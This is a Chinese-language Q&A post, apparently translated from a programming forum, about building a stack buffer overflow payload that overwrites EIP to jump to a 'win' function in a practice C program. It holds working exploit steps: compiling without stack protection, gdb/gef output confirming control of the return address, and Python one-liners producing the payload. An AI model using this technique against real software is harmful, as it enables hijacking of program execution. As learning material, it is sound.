我试图引发缓冲区溢出以便在C代码上执行函数。到目前为止,我已经设法找出接管EBP寄存器的字节数。接下来唯一的事情就是将EIP的地址替换为我想要执行的函数。我试图用python生成这个有效负载。为此,我使用以下
python -c 'print "A"*112 + "\x3b\x86\x04\x08"' > attack_payload
这就是我得到的
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;�
注意那些最后的角色!我知道这不是我想要得到的。我希望在EIP
注册表上运行的地址是0804863b
。我必须将其放在little endian
上才能使漏洞正常运行。对此有何评论?
答案 0 :(得分:0)
如果您运行此有效负载:
python -c 'print "A"*112 + "B"*4' > attack_payload
然后,如果您可以控制PC (EIP=42424242)
(gdb) r < attack_payload
您可以将“BBBB
”替换为您的地址0804863b
python -c 'print "A"*112 + "\x3b\x86\x04\x08"' > attack_payload
这就是全部,如果你有EIP控制,你应该先验证。
更多信息(我看到源代码),以一种简单的方式(为了更好的解释)尝试使用以下命令进行编译
gcc -o main main.c -fno-stack-protector -g -m32
使用调试器(gdb ./main
)运行它并设置以下断点
gef➤ b 13
Breakpoint 2 at 0x8048611: file main.c, line 13.
继续并插入以下有效负载
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACCCC
继续执行指示
→ 0x804862d <stringLength+60> ret
您可以看到现在您可以控制返回值
gef➤ bt
#0 0x0804862d in stringLength () at main.c:14
#1 0x43434343 in ?? ()
#2 0x08048800 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
gef➤ x/x $sp
0xffffd5ec: 0x43434343
现在您可以将“CCCC
”替换为获胜功能的地址
gef➤ p win
$1 = {void ()} 0x80485dd <win>
您可以使用简单的python脚本自动化所有内容(尝试查看此库pwntools),您的有效负载将为:
payload = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
payload += "\xdd\x85\x04\x08"
或者你也可以运行
python -c 'print "1"+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+"\xdd\x85\x04\x08"' | ./main